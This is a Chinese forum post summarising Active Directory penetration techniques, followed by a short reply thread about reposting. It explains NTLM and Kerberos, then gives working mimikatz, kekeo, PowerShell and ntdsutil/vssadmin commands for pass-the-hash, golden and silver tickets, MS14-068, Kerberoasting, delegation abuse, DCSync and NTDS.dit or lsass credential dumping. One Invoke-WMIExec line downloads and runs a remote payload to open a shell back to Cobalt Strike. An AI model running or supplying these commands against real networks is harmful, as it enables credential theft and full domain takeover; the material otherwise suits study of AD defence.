域渗透总结

整理总结一下域渗透中常用的知识和手法,构建知识体系 : )

万分感谢各位师傅们的输出(ノ*・ω・)ノ 参考的文章基本都在参考链接中。

域渗透 --- 预备知识

何为域

域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。

在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。

windows 认证方式

NTLM认证

本地登录时,用户的密码经过散列算法加密后存储在system32\config\sam文件,当用户在登录界面输入密码后,winlogon.exe接收用户输入,然后把密码给lsass.exe,将密码转成NT Hash,然后与文件中已有的散列值比较。

Hash类型

LM Hash

LM(LAN Manager) Hash 是早期使用的一种hash,在windows vista以后的版本中默认被禁用,使用更加安全的NTLM Hash.

NT Hash

现在windows存储使用的hash

NTLM Hash

NTLM认证过程中使用的hash,是现代windows系统中使用的一种hash,由NT HashLM Hash组成。储存在SAM文件中,如果存在域环境,也储存在域控的NTDS.dit文件中,可以直接拿来进行哈希传递攻击。

工作组环境中的认证

认证使用NTLM协议,采用Challenge/Response 机制,认证过程可以分为三步:

  1. 协商: 确定双方协议版本
  2. 质询:Challenge/Response 机制起作用的环节
  3. 验证:质询完成后验证结果

质询的主要过程:

  • 客户端向服务端发送用户(用户名)请求

  • 服务端接收请求,生成一个16位的随机数,称为Challenge,使用用户名对应的NTLM Hash加密Challange,生成的值称为Challenge-server,同时将16位随机数发送给客户端。

  • 客户端接收到Chanllenge后,使用想要登录的用户对应的NTLM Hash加密它,该值称为Challenge-client然后发送给服务端。

  • 服务端收到客户端发送的Challenge-clientChallenge-server比较,相等即通过认证。

    其实就是双方规定一个字符串,利用散列算法的单向性以及唯一性对同一串字符串加密,生成一串散列值然后比较是否相等,并没有做过多的验证,所以会导致安全问题,最常见的就是pth.

域环境中的认证

在域中首先使用的是Kerberos认证,在一些早期版本中或者是前者出错时才会用NTLM认证。

与在工作组中的认证相比,在域中的认证多了个域控,域中的认证过程可以分为以下几步:

  • 客户端获取输入的username password domain信息,传给服务器。

  • 与上面一样,服务端发送16位的随机码给客户端。

  • 客户端使用本地的NTLM Hash对随机码加密,得到的值发送给服务端。

  • 服务端向域控发送验证消息,消息包括客户端申请的用户名 随机码以及传过来的Net NTLM Hash

  • 域控查看该用户对应的NTLM Hash,然后加密随机码,将得到的Net NTLM Hash与客户端的做比较,将结果发给服务端。

  • 服务端根据结果是否相等来返回给客户端不同的结果,验证通过或者是不通过。

    可以看到与工作组认证相比,把验证对比的权利交给了域控,服务端只是起一个中间人的角色,负责传话。

pth

从工作组认证过程可以看出,并没有对16位的随机字符串Challenge做任何处理,只是采用NTLM Hash对其加密,如果我们可以拿到该用户的NTLM Hash就能伪造一个正确的Challenge-client传给服务端完成认证,如果拿到hash以后无法解密,就可以尝试一下pth.

在一定条件下pth也可以用于远程桌面登录,细节看三好学生师傅文章

ptk

上文中提到可以使用pth(pass the hash)来完成对内网的渗透拓展,控制其他主机,微软在12年发布了针对pth的补丁KBb2871997,打了补丁以后常规的攻击无法复现,但是忽略了默认的Administrator(SID 500),只要用户的SID为500,就可以用该账户进行攻击。

在内网禁用了NTLM的环境下也无法进行传递攻击。而mimikatz中的sekurlsa::pth模块可以突破这一点,使用aes key 完成攻击,所以被称为pass-the-key.

Kerberos认证

Kerberos认证涉及到三方,分别是Client KDC Server,而KDC又分为两部分,分别是AS(Authentication Server)以及TGS(Ticket Granting Server),在该认证过程中靠的是票据,类似于Token一样的一种表明身份的东西。

kerberos认证可以类比坐火车,首先你要通过火车站的安检系统,这样才能进入火车站,进站以后拿到上车的凭证-车票,上车时再核对车票信息,一切都通过后就可以享受火车之旅,同样的,在kerberos认证中Client先与AS交互,得到一个凭证来访问TGS,再与TGS交互,得到访问服务的凭证,最后与服务器交互,完成信息交互。

详细的认证过程如下:

首先是ASClient交互:

  • ClientAS发送自己的ID 网络地址 等信息,经过Clienthash加密。(KRB_AS_REQ)

  • ASClient发送两条消息,一条是经过Client密码加密的TGS-Session-Key,用作与TGS交互的密钥.

    另一条消息就是TGT,TGT包括TGS-Session-Key以及时间戳等信息,由KRBTGT账户的hash加密,该账户是域创建时自动创建的账号。(KRB_AS_REP)

然后是ClientTGS的交互:

  • Client收到AS返回的信息,解密第一条信息,得到与TGS交互的密钥。然后将本地信息通过密钥加密后连同TGT一起发送给TGS.(KRB_TGS_REQ)
  • TGS接收到消息后会检查是否存在所请求的服务,如果存在就用KRBTGT账户的Hash解密TGT,然后验证相关信息,验证通过后会使用TGS-Session-Key加密Server-Session-Key(ClientServer交互的密钥),将时间戳 生命周期等信息通过服务的Hash加密后作为Server-Ticket传给Client.(KRB_TGS_REP)

最后是ClientServer的交互:

  • Client获得TGS发回的数据后用Server-Session-Key解密得到Server-Session-Key,将网络地址 ID等信息通过Server-Session-Key加密,连带Server-Ticket一起发送给Server.(KRB_AP_REQ)
  • Server接收到消息后会用自身Hash解密Server-Ticket,然后验证,验证通过后开始传输数据,走正常的服务请求。(KRB_AP_REP)
Golden Ticket(黄金票据)

TGT是由KRBTGT用户生成的,有了该票据你可以访问任何通过kerberos认证的服务,如果我们拿到了该用户的Hash,那么我们就可以伪造TGT,该用户只存在于域控中,所以前提是你要拿到域控的权限,有了域控权限干啥不行...

Silver Ticket(白银票据)

如果我们有服务器上的用户Hash,就可以伪造一个Server-Ticket绕过认证,达到访问服务的目的。白银票据只能访问特定的服务。

MS14-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票据(TGT)中
插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控的KDC中。用户可以通过
呈现具有改变的PACKerberos TGT来获得票据。

一句话,可以在拥有一个普通域用户的情况下可以提升为域管理权限。

委派攻击

委派分为三种,分别是无约束委派 约束委派以及基于资源的约束委派.

委派简单来说就是模拟客户端,允许服务器用客户端的身份与其他服务交互,比方说在域中有站库分离的web服务,客户端A,http服务器B,mysql服务器C,A想要获得某些数据,就需要B与C交互,这时B扮演的就是客户端的角色,这就是一个委派的例子。

委派的认证过程如下:

客户端与KDC完成KRB_AS_REP KRB_AS_REQ 交互.拿到forwardable TGT.

客户端通过KRB_TGS_REQ 请求转发的TGT,记作forwarded TGT,KDC通过KRB_TGS_REP返回该票据。

客户端使用forwarded TGT通过KRB_TGS_REQ请求Server 1的服务对应的票据,KDC通过KRB_TGS_REP返回票据。

客户端通过KRB_AP_REQServer 1发送服务票据 forwardable TGT forwarded TGT以及对应的密钥等信息。

为了满足客户端的需求,Server 1需要用到server2的一些数据,需要server1以用户的身份请求Server 2,在该过程中,server1使用forwarded TGT,以用户的名义通过KRB_TGS_REQKDC请求Server 2的服务票据,通过KRB_TGS_REP返回server2的服务票据。

server1 用该票据请求server2,获取数据。

然后重复上述的过程...

当开启无约束委派时,DC会将客户端的TGT的副本放在服务票据中,当客户端向服务器提供服务票据时,服务器会将票据中的用户TGT放入lsass.exe中,在有效期内可以无限制的假冒该用户。如果管理员访问了无约束委派的服务,就能拿到管理员的TGT,模拟域管理访问任意服务,获得管理权限。

为了解决上述问题,微软提出了约束性委派,微软发布了两个kerberos拓展协议,S4U2ProxyS4U2Self.

无约束委派中直接拿用户的TGT访问服务,在委派服务中,服务AS4UProxyKDC申请访问服务B的服务票据,然后A使用KDC返回的新票据来访问B。S4USelf协议用来转换非kerberos协议与服务的认证,向服务器申请服务票据,就可以使用S4UProxy协议请求访问其他服务的票据。

有点懵... 先占个坑

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94

基于资源的约束委派,可以看绿盟博客

Kerberoasting

kerberos认证过程的第四步中,TGS会向Client发送经过服务账户的Hash加密后的服务票据,我们可以拿到这个票据,在本地模拟加密过程对密码进行爆破。如果得到的票据相同,说明得到了服务账户的密码。

服务主体名称(Service Principal Names SPN)是服务器运行服务的唯一标识,每个使用kerberos协议的服务都需要注册一个SPN,SPN分为两种,一种注册在域内机器用户账户(Computer),一种注册在域内用户账户(User)。机器账户一般是默认注册的,如果在域用户下运行服务,必须手动注册SPN,用到setspn.exe

通过SPN查询,可以挖掘有用的信息,注册在域内用户账户下的SPN, 使用Kerberoast攻击尝试获取密码,也可以找到域中开启相关服务的主机,可以尝试用当前域用户信息登录主机,因为SPN发生在认证过程中,属于正常范围之内,所以比较难检测。

组策略首选项 + SYSVOL (GPP漏洞 --2k08)

SYSVOL存在于域中的所有域控中。包含公共文件的共享文件夹,包括组策略数据 ,经过认证的用户都可以访问该文件夹。所有域组策略都存储在这里:\\ <DOMAIN> \ SYSVOL \ <DOMAIN> \ Policies \

win2k8中添加了GPP选项,即组策略首选项,可以完成更多的系统及应用管理,比如说管理本地用户 添加计划任务等。

在08的域控上为域主机远程添加用户,所有的操作都会写到Group.xml文件中,包括创建的账户名称 时间 以及加密后的密码。该密码默认是用AES256加密的,而且官方提供了完整的密钥,正好用来解密得到密码。漏洞的补丁编号为KB2962486.

域信任关系

域信任关系可以认为是一个域与其他域之间的一种资源访问控制,就像两个国家之间的外交关系,有合作伙伴 也有战略合作伙伴,不同的等级对应的开放程度也不相同。

域信任是有方向的,单向信任以及双向信任。

域信任按传递性可以分为可以传递的(朋友的朋友还是朋友,A->B B->C =>A->C)和非传递性的.

默认信任关系

手动创建的其他信任关系

域和信任关系

域信息收集常用命令

ipconfig/all  				 					查看ip
net user 	  									查看本地用户
net user /domain 								 查看域用户
net view /domain			 					查看有几个域
net view /domain:domain_name  					查看某个域内主机
net group /domain             					查看域有哪些组
net group “domain admins” /domain 				查看域管理员组
net group “domain controllers” /domain			查看域控
net localgroup administrators /domain			查看域管理
net time
hostname									 主机名
query user									  用户登录信息 判断用户是否在线
...

待补充...

域渗透 --- 实践过程

pth

拿到了用户的哈希解不开时,可以使用pth

mimikatz
privilege::debug 
sekurlsa::logonpasswords
如果显示不全,采用非交互式可以导出到文件中查看
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> result.txt


privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ntlm_hash 
ps:3.144 为域控ip

powershell

Invoke-WMIExec.ps1

可以执行命令,也可以反弹一个shell,此处加载payload,反弹给cs

Invoke-WMIExec  -Target 192.168.3.144 -Domain workgroup -Username administrator -Hash hash -Command "powershell.exe iex(New-Object Net.WebClient).DownloadString('http://192.168.3.128
/payload.ps1')"

ptt

用在kerberos认证中,主要有以下三种..

MS14-068

域内用户的sid 域用户的密码 域控位置

MS14-068.exe

whoami /all查看用户sid

工具相关参数:

-u 域主机名@域名
-p 密码
-s sid值
-d 域控

生成ccache文件

MS14-068.exe -u [email protected] -p password -s S-1-5-21-3759881954-2993291187-3577547808-1613 -d OWA2013.rootkit.org

使用法国神器导入之前生成的ccache文件,导入之前先清除一下缓存中的票据

黄金票据

前提:

  • 域名
  • sid
  • krbtgt账户的NTLM HASH
  • 伪造用户名

导出krbtgtHash

privilege::debug
lsadump::dcsync /user:krbtgt

生成黄金票据,伪造域用户administrator,注入票据后查看域用户共享

mimikatz # kerberos::golden /domain:rootkit.org /sid:sid/aes256:ase256 /user:administrator /ticket:admin.kirbi

也可以使用Hash值,不使用key

lsadump::lsa /patch 导出hash
kerberos::golden /domain:rootkit.org /sid:sid /krbtgt:hash /user:administrator /ticket:admin.kirbi

白银票据

白银票据不需要与KDC交互,需要服务的Hash,只能面向特定服务。

复现之前记得先清除票据.

klist purge 或者在mimikatz中:kerberos::purge

mimikatz # kerberos::golden /user:dbadmin /domain:rootkit.org /sid:sid /targe
t:Srv-Web-Kit.rootkit.org /rc4:ntlm_hash /ptt

ptk

前面的概念中提过一点,打了补丁以后,ptt只能用mimikatz来完成。

获取aes key

privilege::debug
sekurlsa::ekeys

导入key

mimikatz # sekurlsa::pth /user:administrator /domain:workgroup /aes128:key

要用主机名访问... 在这卡了好一会...

kerberoast

攻击一般分为SPN发现,请求票据 导出票据 破解票据 重写这几部分。

第一种使用mimikatz的方法

kerberoast

使用工具集中的GetUserSPNs.ps1进行扫描

申请票据

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-Web-Kit.rootkit.org:1433"

使用klist会发现票据已经在内存中。

导出票据

kerberos::list /export

爆破票据

使用tgsrepcrack.py爆破

python tgsrepcrack.py dictfile 导出的票据 能不能爆破成功关键还是字典...

第二种 直接提取字节流转换成可以爆破的格式

Invoke-Kerberoast.ps1

Invoke-kerberoast –outputformat hashcat | fl

使用hashcat破解,本地复现的时候提示装一些东西,就没去破解...

重新写入内存(未测试)

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500

把新的票据重新注入内存

kerberos::ptt sql.kirbi

委派攻击

powerview.ps1

无约束委派

在域控给服务账户设置无约束委派

选择第二项,无约束委派,如果服务没有注册SPN,先使用setspn.exe注册一下。

假设我们拿到了域内一台服务的权限

使用PowerView.ps1脚本查看开启无约束委派的服务

Get-NetUser -Unconstrained -Domain rootkit.org
Get-NetComputer -Unconstrained -Domain rootkit.org

提取受控主机内存中保存的票据,进行ptt攻击。

privilege::debug
sekurlsa::tickets /export //导出票据

可以看到有域管理的凭证,

注入该凭证。

然后访问域控。

约束委派

在开启约束委派的主机上无法抓到用户的TGT,只能抓到服务票据,所以只能访问特定的服务。

如果知道服务账户的的明文密码或者哈希值,就可以拿到域管理权限。

kekeo

查看约束委派是否存在

Get-DomainUser -TrustedToAuth -Domain rootkit.org //账户
Get-NetComputer -Unconstrained -Domain rootkit.org //主机

生成tgt

tgt::ask /user:sqladmin /domain:rootkit.org /password:Admin12345

申请tgs票据

tgs::s4u:[email protected][email protected] /user:[email protected]  /service
:cifs/OWA2013.rootkit.org

导入tgs票据

dir访问域控共享目录

keoeo也支持直接使用哈希获取tgt

tgt::ask /user:sqladmin /domain:rootkit.org /NTLM:hashvalue

这样我们只要拿到服务的权限,就能提取出凭证进行攻击。

基于资源的约束委派

看绿盟那篇博客吧...

哈希导出

可以使用procdump.exe导出lsass.exe中的内存映像,离线抓密码

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz::sekurlsa:minidump lsass.dmp

mimikatz::sekurlsa:logonpasswords

DCsync
mimikatz

lsadump::dcsync /domain:rootkit.org /all /csv 利用dcsync(目录复制服务)获取ntds.dit中的密码哈希。 可以在域管理范围之内的任意一台主机运行。

多加一个/user name 参数,可以指定用户导出

也可以直接在域控上导出lsass.exe进程中的哈希。

privilege::debug
lsadump::lsa /inject

powershell

Invoke-DCSync.ps1

Empire

credentials/mimikatz/dcsync_hashdump

NTDS.DIT/Volume Shadow Copy Service

NTDS.DIT文件保存了域中所有用户的密码和哈希值。

ntdsutil

默认安装

查询快照

ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

挂载快照

ntdsutil snapshot "mount {2931cb68-5c88-4f27-ac6d-abcb738bfee7}" quit quit

复制

copy C:\$SNAP_201909221525_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

一定要在cmd中运行... 一开始在ps中运行,老是找不到路径...

卸载快照 清理痕迹

ntdsutil snapshot "unmount {2931cb68-5c88-4f27-ac6d-abcb738bfee7}" quit quit

vssadmin

默认安装

查询系统快照

vssadmin list shadows

创建快照

vssadmin create shadow /for=c:

复制文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds.dit

删除快照

vssadmin delete shadows /for=c: /quiet

vshadow

不自带,直接使用.bat

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

上传.batexe文件到当前目录,可以下载源码编译,想偷懒也可以直接戳这里 不保证安全性。

运行脚本,会自动执行整个流程。

导出之前还需要用esentutl修复一下

esentutl /p /o ntds.dit

导出syskey

reg save hklm\system system.hive

....
从NTDS.DIT中提取哈希

得到ntds.dit文件以后,直接在线导出哈希

QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file ntds.dit --system-file system.hive -o pass.txt

quarkspwdump.exe

quarks-pwdump.exe <options>
Options :
-dhl  --dump-hash-local
-dhdc --dump-hash-domain-cached
-dhd  --dump-hash-domain (NTDS_FILE must be specified)
-db   --dump-bitlocker (NTDS_FILE must be specified)
-nt   --ntds-file FILE
-hist --with-history (optional)
-t    --output-type JOHN/LC (optional, if no=>JOHN)
-o    --output FILE (optional, if no=>stdout)

Example: quarks-pwdump.exe --dump-hash-domain --with-history


也可以用Invoke-NinjaCopy.ps1

注册表导出哈希

涉及到三个注册表项,分别是HKEY_LOCAL_MACHINE\SAM HKEY_LOCAL_MACHINE\SECURITY HKEY_LOCAL_MACHINE\SYSTEM

HKEY_LOCAL_MACHINE\SAM包含本地用户凭证

HKEY_LOCAL_MACHINE\SECURITY中缓存了域用户的凭证

HKEY_LOCAL_MACHINE\SYSTEM中可以提取出syskey,进而解密哈希

reg.exe save hklm\sam c:\sam.save
reg.exe save hklm\security c:\security.save
reg.exe save hklm\system c:\system.save

使用impacket套件中的secretsdump.py解密

python secretsdump.py -sam ../../sam.save -security ../../security.save -system ../../system.save LOCAL

也可以用cain.

其他

工具千千万,重要的还是思路吧 : )

参考资料

深刻理解windows安全认证机制 ntlm & Kerberos

彻底理解Windows认证 – 议题解读

http://drops.xmd5.com/static/drops/tips-11631.html

LM, NTLM, Net-NTLMv2, oh my!

https://github.com/crazywa1ker/DarthSidious-Chinese

https://sakuxa.com/2019/04/03/01-Windows认证之NTLM/

windows认证-白银票据、黄金票据分析及利用

域渗透——Kerberoasting

我所了解的内网渗透——内网渗透知识大总结

https://www.freebuf.com/articles/system/6089.html

Kerberos协议探索系列之委派篇

攻击活动目录:无约束委派及域林信任

S4U2Pwnage

http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/

Attacking Kerberos Delegation

域密码哈希导出的那些事儿

渗透测试中心

域渗透-获得域控服务器的NTDS.dit文件

导出当前域内所有用户hash的技术整理

5 Likes

很棒!我给推到公众号去!

:smile:谢谢师傅

这篇文章是首发吗?

:grinning:首发90sec的,发完我在自己博客上发了... 我再加个首发.. .

1 Like

好的 微信那边提醒我有人投诉非原创